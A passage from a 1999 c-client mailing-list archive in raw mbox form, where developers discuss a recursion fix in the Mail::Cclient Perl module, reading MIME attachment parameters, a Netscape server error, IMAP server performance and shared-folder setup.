ESMTP id QAA32350 for ; Wed, 17 Nov 1999 16:22:56 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA21945; Wed, 17 Nov 1999 16:22:54 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA24469; Wed, 17 Nov 1999 16:20:35 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA41806 for ; Wed, 17 Nov 1999 16:18:46 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA06916 for ; Wed, 17 Nov 1999 16:18:46 -0800 Received: from ydhu.pair.com (ydhu.pair.com [209.68.1.175]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA21808 for ; Wed, 17 Nov 1999 16:18:45 -0800 Received: (from bower@localhost) by ydhu.pair.com (8.9.1/8.6.12) id TAA17623; Wed, 17 Nov 1999 19:18:45 -0500 (EST) Message-Id: <199911180018.TAA17623@ydhu.pair.com> Date: Wed, 17 Nov 1999 19:18:45 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: bwr-cclient@tenletters.com To: c-client@CAC.Washington.EDU Subject: Re: Problems with messages with Mime type: message/delivery-status X-Envelope-To: c-client@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN That sounds like a problem I used to have. Here are my diffs in Cclient.xs:make_body() ... bash-2.01$ diff Cclient.xs ~/Mail-Cclient-0.5/Cclient.xs 291,295c291,299 < AV *mess = newAV(); < MESSAGE *msg = body->nested.msg; < av_push(mess, msg ? make_envelope(msg->env) : &sv_undef); < av_push(mess, msg ? make_body(msg->body) : &sv_undef); < nest = newRV_noinc((SV*)mess); --- > MESSAGE *msg = body->nested.msg; > if (msg->body == body) { > nest = newSVsv(&sv_undef); > } else { > AV *mess = newAV(); > av_push(mess, (msg&&msg->env) ?make_envelope(msg->env) : &sv_undef); > av_push(mess, (msg&&msg->body) ? make_body(msg->body) : &sv_undef); > nest = newRV_noinc((SV*)mess); > } As I recall, the recursion is broken. I'm pretty sure it was the first change (checking for msg->body==body) that fixed it and not the sanity checks on the make_* calls. I hope that helps! Brian From pinedev@shivax2.cac.washington.edu Thu Nov 18 03:13:21 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Nov 1999 03:13:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA12706 for ; Thu, 18 Nov 1999 03:13:19 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA08245; Thu, 18 Nov 1999 03:13:17 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id DAA11466; Thu, 18 Nov 1999 03:09:59 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id DAA63122 for ; Thu, 18 Nov 1999 03:08:25 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA01356 for ; Thu, 18 Nov 1999 03:08:25 -0800 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA00542 for ; Thu, 18 Nov 1999 03:08:22 -0800 Received: from speedy.swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id JAA07995; Thu, 18 Nov 1999 09:10:55 -0200 Message-Id: <199911181110.JAA07995@stratus.swi.com.br> Date: Thu, 18 Nov 1999 09:10:55 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Brian Rossmajer Cc: Subject: Re: Problems with messages with Mime type: message/delivery-status Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > >>That sounds like a problem I used to have. >>Here are my diffs in Cclient.xs:make_body() ... >> >>As I recall, the recursion is broken. I'm >>pretty sure it was the first change (checking >>for msg->body==body) that fixed it and not the >>sanity checks on the make_* calls. >> >>I hope that helps! >> YES. It helped a LOT! :-) BTW, How did you manage the Content-disposition? For attachments. the $body->disposition does not work. Best Regards, Raul Dias From pinedev@shivax2.cac.washington.edu Thu Nov 18 08:47:53 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Nov 1999 08:47:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA19969 for ; Thu, 18 Nov 1999 08:47:52 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA14629; Thu, 18 Nov 1999 08:47:50 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA19838; Thu, 18 Nov 1999 08:45:41 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA51746 for ; Thu, 18 Nov 1999 08:42:40 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA07760 for ; Thu, 18 Nov 1999 08:42:39 -0800 Received: from ydhu.pair.com (ydhu.pair.com [209.68.1.175]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA06669 for ; Thu, 18 Nov 1999 08:42:39 -0800 Received: (from bower@localhost) by ydhu.pair.com (8.9.1/8.6.12) id LAA28463; Thu, 18 Nov 1999 11:42:38 -0500 (EST) Message-Id: <199911181642.LAA28463@ydhu.pair.com> Date: Thu, 18 Nov 1999 11:42:38 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brian Rossmajer To: Subject: Mail::Cclient problems X-Envelope-To: c-client@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN $body->disposition? I don't even see that in the documentation anywhere... I pull it out of the body tag for each subpart: if ($body->type eq "MULTIPART") { my $num=0; foreach(@{$body->nested}) { next unless $num++; # skip the first one my ($text,$name,$type,$url)=("","","",""); $type=lc($_->type).'/'.lc($_->subtype); ... Brian -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 18 11:25:51 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Nov 1999 11:25:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA23254 for ; Thu, 18 Nov 1999 11:25:50 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA19298; Thu, 18 Nov 1999 11:25:48 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA27172; Thu, 18 Nov 1999 11:19:16 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA56642 for ; Thu, 18 Nov 1999 11:17:42 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA13792 for ; Thu, 18 Nov 1999 11:17:41 -0800 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA19094 for ; Thu, 18 Nov 1999 11:17:30 -0800 Received: from speedy.swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id RAA20244; Thu, 18 Nov 1999 17:19:34 -0200 Message-Id: <199911181919.RAA20244@stratus.swi.com.br> Date: Thu, 18 Nov 1999 17:19:34 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Brian Rossmajer , Subject: Re: Mail::Cclient problems Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >$body->disposition? I don't even see >that in the documentation anywhere... Yes, that's the point. AFAIK it isn't on the Perl's module. But it is on the C API. I am trying to implement that myself, but I am still learning the XSUB interface to do that. >I pull it out of the body tag for each subpart: > ok, but how do you get the filename from a aplication/octet-stream type? > if ($body->type eq "MULTIPART") { > my $num=0; > foreach(@{$body->nested}) { > next unless $num++; # skip the first one > my ($text,$name,$type,$url)=("","","",""); > $type=lc($_->type).'/'.lc($_->subtype); > > ... > > >Brian -Raul Dias From pinedev@shivax2.cac.washington.edu Thu Nov 18 15:46:21 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Nov 1999 15:46:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA21631 for ; Thu, 18 Nov 1999 15:46:19 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA26645; Thu, 18 Nov 1999 15:46:17 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA08884; Thu, 18 Nov 1999 15:43:42 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA40638 for ; Thu, 18 Nov 1999 15:41:44 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA11591 for ; Thu, 18 Nov 1999 15:41:44 -0800 Received: from ydhu.pair.com (ydhu.pair.com [209.68.1.175]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA26538 for ; Thu, 18 Nov 1999 15:41:43 -0800 Received: (from bower@localhost) by ydhu.pair.com (8.9.1/8.6.12) id SAA15763; Thu, 18 Nov 1999 18:41:43 -0500 (EST) Message-Id: <199911182341.SAA15763@ydhu.pair.com> Date: Thu, 18 Nov 1999 18:41:43 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brian Rossmajer To: c-client@CAC.Washington.EDU Subject: Re: Mail::Cclient problems X-Envelope-To: c-client@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Raul Dias wrote: > AFAIK it isn't on the Perl's module. But it is on the C API. I think the type and subtype were deliberately separated; the information is all still there. > ok, but how do you get the filename from a aplication/octet-stream type? The body object (of the nested body) has a parameters array that you can treat like a hash: foreach(@{$body->nested}) { (same for loop as before) ... if ($_->parameter) { my %mimevals=@{$_->parameter}; foreach(keys %mimevals) { print ucfirst(lc($_)).":$mimevals{$_}\n"; if ($_ eq "NAME") { $name=$mimevals{$_}; } } } I think you'll find most of what you're looking for in there! Brian Rossmajer From pinedev@shivax2.cac.washington.edu Fri Nov 19 06:05:39 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Nov 1999 06:05:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA14302 for ; Fri, 19 Nov 1999 06:05:37 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA01882; Fri, 19 Nov 1999 06:05:36 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id GAA00667; Fri, 19 Nov 1999 06:02:46 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id FAA22448 for ; Fri, 19 Nov 1999 05:58:46 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA01190 for ; Fri, 19 Nov 1999 05:59:10 -0800 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA01758 for ; Fri, 19 Nov 1999 05:59:09 -0800 Received: from speedy.swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id MAA08877; Fri, 19 Nov 1999 12:01:41 -0200 Message-Id: <199911191401.MAA08877@stratus.swi.com.br> Date: Fri, 19 Nov 1999 12:01:41 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Brian Rossmajer , Subject: Re: Mail::Cclient problems Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >Raul Dias wrote: > >> ok, but how do you get the filename from a aplication/octet-stream type? > >The body object (of the nested body) has a parameters >array that you can treat like a hash: [...] >I think you'll find most of what you're looking for in there! Yes, That's it. :-) Now my application is almost complete. Is there any other patch to Mail::Cclient that you are aware of? Best Regards, Raul Dias From pinedev@shivax2.cac.washington.edu Mon Nov 22 15:36:11 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Nov 1999 15:36:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA06550 for ; Mon, 22 Nov 1999 15:36:09 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA25958; Mon, 22 Nov 1999 15:36:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA00343; Mon, 22 Nov 1999 15:29:42 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA79570 for ; Mon, 22 Nov 1999 15:22:46 -0800 Received: from dominion.cisco.com (dominion.cisco.com [161.44.224.12]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA04213 for ; Mon, 22 Nov 1999 15:22:44 -0800 Received: from cisco.com (gla-dhcp225-48.cisco.com [161.44.225.48]) by dominion.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id SAA10358 for ; Mon, 22 Nov 1999 18:22:41 -0500 (EST) Message-Id: <3839D055.3161F6CD@cisco.com> Date: Mon, 22 Nov 1999 18:23:02 -0500 Reply-To: scparker@cisco.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Parker To: c-client@u.washington.edu Subject: System I/O Error MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------FAA115FCFD7B32444D30B6B3" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------FAA115FCFD7B32444D30B6B3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Help, I'm getting the following messaging after I try to select a folder: System I/O Error. Administrator, check server log for details I'm using Netscape Messaging Server 4.1 on a Solaris 2.6 computer. I logged into my IMAP server through some low-level IMAP routines and created a folder named "test". I then deleted that folder through some low-level IMAP calls and all appeared successful. I tried again to add that folder and was unsuccessful. I tried to select that folder and received the above error message. What can I do to fix my problem so that I can create this folder again? Thanks in advance for the help, --------------FAA115FCFD7B32444D30B6B3 Content-Type: text/x-vcard; charset=us-ascii; name="scparker.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Steve Parker Content-Disposition: attachment; filename="scparker.vcf" begin:vcard n:Parker;Steve tel;work:(804) 762-5547 x-mozilla-html:FALSE adr:;;;;;; version:2.1 email;internet:scparker@cisco.com fn:Steve Parker end:vcard --------------FAA115FCFD7B32444D30B6B3-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 22 16:19:46 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Nov 1999 16:19:46 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA07524 for ; Mon, 22 Nov 1999 16:19:44 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA27145; Mon, 22 Nov 1999 16:19:42 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA24424; Mon, 22 Nov 1999 16:16:47 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA57868 for ; Mon, 22 Nov 1999 16:15:49 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pare0@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA18311 for ; Mon, 22 Nov 1999 16:15:49 -0800 Message-Id: Date: Mon, 22 Nov 1999 16:15:14 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: scparker@cisco.com Cc: c-client@u.washington.edu Subject: re: System I/O Error In-Reply-To: <3839D055.3161F6CD@cisco.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 22 Nov 1999 18:23:02 -0500, Steve Parker wrote: > I'm getting the following messaging after I try to select a folder: > > System I/O Error. Administrator, check server log for details This is a Netscape message; you'll need to contact Netscape for help. From pinedev@shivax2.cac.washington.edu Sat Dec 4 20:47:17 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sat, 4 Dec 1999 20:47:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA31974 for ; Sat, 4 Dec 1999 20:47:16 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA31847; Sat, 4 Dec 1999 20:47:16 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id UAA05796; Sat, 4 Dec 1999 20:43:52 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id UAA93392 for ; Sat, 4 Dec 1999 20:41:49 -0800 Received: from postino3.prima.com.ar (postino3.prima.com.ar [200.42.0.148]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA06389 for ; Sat, 4 Dec 1999 20:41:47 -0800 Received: from kuarajy (host021163.ciudad.com.ar [200.42.21.163]) by postino3.prima.com.ar (8.9.1a/8.9.1) with SMTP id BAA81856; Sun, 5 Dec 1999 01:41:42 -0300 (ART) Message-Id: <011301bf3edb$c0e5aa60$c4172ac8@infosys.com.ar> Date: Sun, 5 Dec 1999 01:46:52 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Bruno Mattarollo" To: "Lista IMAP" Subject: Performance [Q] MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello... We are developing a web mail that in reality is a client for IMAP. Are there concerns in performance of the Wash. Univ. IMAP server that we should care about? Is performance a goal of the WU IMAP server? I know this is vague... :-) I am just looking for user-experiences regarding the use of this IMAP server in somewhat loaded environments. Our platform is all Sun. TIA /B Bruno Mattarollo --- Python Powered -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 6 07:12:30 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Dec 1999 07:12:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA22947 for ; Mon, 6 Dec 1999 07:12:29 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA28545; Mon, 6 Dec 1999 07:12:28 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id HAA01889; Mon, 6 Dec 1999 07:08:23 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id HAA39844 for ; Mon, 6 Dec 1999 07:05:09 -0800 Received: from ares.voicerite.com (totalcall.com [216.235.96.73]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA10879 for ; Mon, 6 Dec 1999 07:05:08 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id KAA04042; Mon, 6 Dec 1999 10:09:11 -0500 Message-Id: <000901bf3ffb$25048e60$2601a8c0@voicerite> Date: Mon, 6 Dec 1999 10:04:04 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: "Bruno Mattarollo" , "Lista IMAP" Subject: Re: Performance [Q] References: <011301bf3edb$c0e5aa60$c4172ac8@infosys.com.ar> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >Are there concerns in performance of the Wash. Univ. IMAP server that we should care about? I made a full-blown web IMAP mail client and server; some tricky things are in multithreading the c-client, otherwise it's fine. An important thing is that UW's server not only knows how to SEARCH but how to SORT also, and the client is smart enough to implement sorting either on the server side (if the server is that smart) or by its own (if it's not). Note that SORT is an extension of IMAP. Since it's C, not C++, it's fast. The coding style may seem strange but up to date there are no bugs with up to 200-300 simultaneous threads (= incoming callers). All this done on AIX 4.2 - 4.3. Alex Shvedov, VoiceRite, Miami From pinedev@shivax2.cac.washington.edu Tue Dec 7 23:01:35 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Dec 1999 23:01:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA12355 for ; Tue, 7 Dec 1999 23:01:33 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA20152; Tue, 7 Dec 1999 23:01:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id WAA00921; Tue, 7 Dec 1999 22:58:11 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id WAA31218 for ; Tue, 7 Dec 1999 22:56:48 -0800 Received: from holly.ee.uts.edu.au (holly.ee.uts.edu.au [138.25.40.38]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA13741 for ; Tue, 7 Dec 1999 22:56:45 -0800 Received: from eng.uts.edu.au (portapete.ee.uts.edu.au [138.25.41.252]) by holly.ee.uts.edu.au (8.9.3/8.9.1) with ESMTP id RAA01816 for ; Wed, 8 Dec 1999 17:58:34 +1100 (EST) Message-Id: <384E01B6.4FA61F21@eng.uts.edu.au> Date: Wed, 08 Dec 1999 17:59:02 +1100 Reply-To: Peter.Yardley@eng.uts.edu.au Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Yardley To: c-client@u.washington.edu Subject: Shared folders / accounts MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm trying to setup a shared folder config such so that some of our executive's assistants can read and sort, etc their mail. I can get some of the way using the "Other Users" namespace but INBOX support is a bit iffy the other way is just to setup 2 mailbox addresses and they login twice. Other people must have tried this! Thanks, Peter. -- _--_|\ Peter Yardley | petery@eng.uts.edu.au / \ Network & UNIX Systems Manager | Peter.Yardley@uts.edu.au \_.--._* Faculty of Engineering, | Ph: +61 2 9514-2358 v University of Technology, Sydney. | Fax: +61 2 9514-2435 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 8 17:18:05 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Dec 1999 17:18:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id 